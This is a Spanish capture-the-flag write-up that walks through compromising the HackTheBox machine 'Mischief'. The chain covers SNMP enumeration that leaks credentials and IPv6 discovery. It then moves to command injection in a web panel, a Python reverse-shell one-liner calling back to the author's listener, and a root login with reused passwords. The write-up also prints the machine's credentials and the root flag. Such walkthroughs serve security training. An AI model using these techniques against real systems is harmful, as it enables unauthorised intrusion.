Mischeif HackTheBox

Buenas a todos, en esta ocasión resolveremos una máquina Linux llamada “Mischief” la cual está catalogada como insane en la plataforma de HackTheBox.


Primero empezamos a escanear con Nmap para ver que puertos tiene abiertos.


❯ nmap -sS -Pn -vvv --min-rate 5000 --open -p- -n 10.10.10.92 -oG allports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-10 20:31 GMT
Initiating SYN Stealth Scan at 20:31
Scanning 10.10.10.92 [65535 ports]
Discovered open port 22/tcp on 10.10.10.92
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 57.46% done; ETC: 20:31 (0:00:12 remaining)
Discovered open port 3366/tcp on 10.10.10.92
Completed SYN Stealth Scan at 20:31, 26.54s elapsed (65535 total ports)
Nmap scan report for 10.10.10.92
Host is up, received user-set (0.25s latency).
Scanned at 2023-11-10 20:31:19 GMT for 27s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE        REASON
22/tcp   open  ssh            syn-ack ttl 63
3366/tcp open  creativepartnr syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.65 seconds
           Raw packets sent: 131085 (5.768MB) | Rcvd: 19 (836B)

Sigamos con el escaneo de puertos.


❯ nmap -sCV -p22,3366 10.10.10.92 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-10 20:35 GMT
Nmap scan report for 10.10.10.92
Host is up (0.25s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
|   256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_  256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
3366/tcp open  caldav  Radicale calendar and contacts server (Python BaseHTTPServer)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
| http-auth: 
| HTTP/1.0 401 Unauthorized\x0D
|_  Basic realm=Test
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.85 seconds

Si miramos bien, en el puerto 3366 nos llevará a una página que nos pedirá unas credenciales:

Si lanzamos un curl podemos ver que en la web corre un SimpleHTTPServer usando la versión de Python 2.7.15rc1


❯ curl -s -X GET "http://10.10.10.92:3366" -I
HTTP/1.0 401 Unauthorized
Server: SimpleHTTP/0.6 Python/2.7.15rc1
Date: Fri, 10 Nov 2023 20:49:20 GMT
WWW-Authenticate: Basic realm="Test"
Content-type: text/html

Otra forma de ver la versión del servidor es tirando del WhatWeb.


❯ whatweb http://10.10.10.92:3366
http://10.10.10.92:3366 [401 Unauthorized] Country[RESERVED][ZZ], HTTPServer[SimpleHTTP/0.6 Python/2.7.15rc1], IP[10.10.10.92], Python[2.7.15rc1], WWW-Authenticate[Test][Basic]

Ya que no tenemos más puertos para enumerar lo que podemos hacer es lanzar un escaneo con Nmap por UDP.


❯ nmap -sU --top-ports 500 -v -n -Pn 10.10.10.92
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-10 20:55 GMT
Initiating UDP Scan at 20:55
Scanning 10.10.10.92 [500 ports]
UDP Scan Timing: About 31.00% done; ETC: 20:57 (0:01:09 remaining)
Discovered open port 161/udp on 10.10.10.92
Completed UDP Scan at 20:56, 45.77s elapsed (500 total ports)
Nmap scan report for 10.10.10.92
Host is up (0.26s latency).
Not shown: 499 open|filtered udp ports (no-response)
PORT    STATE SERVICE
161/udp open  snmp

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 45.84 seconds
           Raw packets sent: 1090 (54.446KB) | Rcvd: 11 (1.174KB)

Vemos que el puerto 161 corre un servicio bastante interesante y es el servicio snmp.

Podemos usar snmpwalk para tener más información de la máquina, pero antes de enumerar necesitamos saber la community string, para esto podemos usar la herramienta onesixtione.

❯ onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 10.10.10.92
Scanning 1 hosts, 3218 communities
10.10.10.92 [public] Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
10.10.10.92 [public] Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64

Tenemos la comunnity string y es public, ahora usemos snmpwalk para enumerar información del equipo.

Recordemos que podemos enumerar procesos, si volvemos a ver en el escaneo que hicimos con Nmap nos muestra que la web por el puerto 3366 corre por un servidor en Python.

❯ snmpwalk -v 2c -c public 10.10.10.92 hrSWRunName | grep python
HOST-RESOURCES-MIB::hrSWRunName.772 = STRING: "python"

Para tener más información de ese proceso que acabamos de encontrar debemos hacer un grep a “772”.


❯ snmpwalk -v 2c -c public 10.10.10.92 hrSWRunTable | grep "772"
HOST-RESOURCES-MIB::hrSWRunIndex.772 = INTEGER: 772
HOST-RESOURCES-MIB::hrSWRunName.772 = STRING: "python"
HOST-RESOURCES-MIB::hrSWRunID.772 = OID: SNMPv2-SMI::zeroDotZero
HOST-RESOURCES-MIB::hrSWRunPath.772 = STRING: "python"
HOST-RESOURCES-MIB::hrSWRunParameters.772 = STRING: "-m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/" <--
HOST-RESOURCES-MIB::hrSWRunType.772 = INTEGER: application(4)
HOST-RESOURCES-MIB::hrSWRunStatus.772 = INTEGER: runnable(2)

Tenemos las credenciales de un usuario llamado Loki, intentemos usar esas credenciales para acceder a la web.

Hay más credenciales, podemos guardarlas en un fichero .txt


loki:godofmischiefisloki
loki:trickeryanddeceit

Con snmpwalk podemos usar el mib de ipAddressType para ver todas las interfaces de red de la máquina, incluyendo la Ipv6.


❯ snmpwalk -v2c -c public 10.10.10.92 ipAddressType
IP-MIB::ipAddressType.ipv4."10.10.10.92" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv4."10.10.10.255" = INTEGER: broadcast(3)
IP-MIB::ipAddressType.ipv4."127.0.0.1" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:e3:a2" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:b9:e3:a2" = INTEGER: unicast(1)

Ahora debemos quitar los ‘:’ extras cada dos carácteres para obtener la dirección Ipv6 real.

Quedaría algo asi:


dead:beef::0250:56ff:feb9:e3a2

Recuerden que es opcional sacarles los ceros.

Escaneamos esa dirección Ipv6 para ver si tiene algun puerto abierto.


❯ nmap -6  -Pn -n dead:beef::0250:56ff:feb9:e3a2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-10 22:13 GMT
Nmap scan report for dead:beef::250:56ff:feb9:e3a2
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.20 seconds

Nos reportó que el puerto 80 está abierto, ahora debemos colocar la dirección Ipv6 en el /etc/host.

echo "dead:beef::0250:56ff:feb9:e3a2 mischief.htb" | sudo tee -a /etc/hosts  

Accedamos a la web.

Si nos fijamos bien nos muestra un login.

Luego de varios intentos, pude acceder con estas credenciales:

username=Administrator
password=trickeryanddeceit

Una vez dentro vemos que podemos ejecutar comandos.


Shell como WWW-DATA

En el output al enviar un ‘;’ nos muestra el comando ejecutado.

Al ejecutar un “whoami;” podemos ver al usuario “www-data”

Para ganar acceso como “www-data” yo voy a utilizar un script en Python, en el script tiene que cambiar AF_INET a AF_INET6 y en la dirección IP no tiene que poner la IPv4 tiene que poner su dirección IPv6


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::1018",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Nos ponemos en escucha por ncat.


❯ ncat -6lvnp 443 --listen dead:beef:2::1018
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [dead:beef:2::1018]:443

Ejecutemos el script en Python en la pagina web.

Regresemos al ncat y vemos que ganamos acceso.


❯ ncat -6lvnp 443 --listen dead:beef:2::1018
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [dead:beef:2::1018]:443
Ncat: Connection from [dead:beef::250:56ff:feb9:e3a2]:53256.
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@Mischief:/var/www/html$ ifconfig
ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.92  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:e3a2  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:e3a2  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:e3:a2  txqueuelen 1000  (Ethernet)
        RX packets 154210  bytes 9724905 (9.7 MB)
        RX errors 0  dropped 90  overruns 0  frame 0
        TX packets 15844  bytes 2464571 (2.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

www-data@Mischief:/var/www/html$
 

Ahora para movernos por la terminal más comodos hagamos un tratamiento de la TTY.

export TERM=xterm
export SHELL=bash

Ctrl + z

stty raw -echo; fg

reset xterm

Luego de un rato enumerando en el directorio /home/loki encontre un archivo llamado “credentials”, que dentro se encuentran las credenciales de Loki para poder conectarnos por ssh.

www-data@Mischief:/home/loki$ ls
credentials  hosted  user.txt
www-data@Mischief:/home/loki$ cat credentials 
pass: lokiisthebestnorsegod
www-data@Mischief:/home/loki$ 

Nos conectamos por ssh y una vez dentro ya podemos leer la primera flag.

❯ sudo ssh loki@10.10.10.92
[sudo] password for void: 
loki@10.10.10.92's password: 
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Nov 10 23:26:18 UTC 2023

  System load:  0.0               Processes:            167
  Usage of /:   61.5% of 6.83GB   Users logged in:      0
  Memory usage: 36%               IP address for ens33: 10.10.10.92
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 updates are security updates.


Last login: Sat Jul 14 12:44:04 2018 from 10.10.14.4
loki@Mischief:~$ ls
credentials  hosted  user.txt
loki@Mischief:~$ cat user.txt 
bf5***************************60
loki@Mischief:~$
 

Escalada de privilegios

Listamos el “history” para ver que comandos ejecutó el usuario Loki.


loki@Mischief:~$ history
    1  python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery <--
    2  exit
    3  free -mt
    4  ifconfig
    5  cd /etc/
    6  sudo su
    7  su
    8  exit
    9  su root
   10  ls -la
   11  sudo -l
   12  ifconfig
   13  id
   14  cat .bash_history 
   15  nano .bash_history 
   16  exit
   17  ls
   18  cat user.txt 
   19  sudo su
   20  sudo -l
   21  hostiry
   22  history
loki@Mischief:~$ 

Intentemos usar esas credenciales para convertirnos en Root.

loki@Mischief:~$ su
bash: /bin/su: Permission denied
loki@Mischief:~$ sudo su
bash: /usr/bin/sudo: Permission denied
loki@Mischief:~$ 

Vemos que no nos deja usar “SU” o “SUDO SU”.

Para listar mejor los privilegios podemos usar getfacl.


loki@Mischief:~$ getfacl /bin/su 
getfacl: Removing leading '/' from absolute path names
# file: bin/su
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x

loki@Mischief:~$ getfacl /bin/su 
getfacl: Removing leading '/' from absolute path names
# file: bin/su
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-
mask::r-x
other::r-x

Pueden ver que en “user:loki:r–” tiene capacidad de lectura pero no de ejecución, aunque para otros tienen capacidad lectura y de ejecución.

Volvamos a la shell “www-data” e intentemos escalar los privilegios ahí utilizando el comando “SU” y la contraseña “lokipasswordmischieftrickery”.


www-data@Mischief:/$ su
Password: lokipasswordmischieftrickery
root@Mischief:/#

Pudimos escalar los privilegios, ahora nos dirigimos al directorio /root para visualizar la segunda flag.


root@Mischief:~# cat root.txt 
cat root.txt
The flag is not here, get a shell to find it!
root@Mischief:~# 

Pero vemos que nos dice que la falg no se encuentra ahí y que debemos encontrarla.

Busquemos archivos que llamen root.txt con find.


root@Mischief:/# find \-name root.txt 2>/dev/null
./usr/lib/gcc/x86_64-linux-gnu/7/root.txt
./root/root.txt
root@Mischief:/# 

Nos muestra una ruta donde podria estar la verdadera flag de root, veamos si se encuentra haciéndole un cat a la ruta del archivo.


root@Mischief:/# cat ./usr/lib/gcc/x86_64-linux-gnu/7/root.txt
ae155fad479c56f912c65d7be4487807
root@Mischief:/# 

Tenemos la segunda flag.

Espero que se haya entendido.

Gracias por leer :)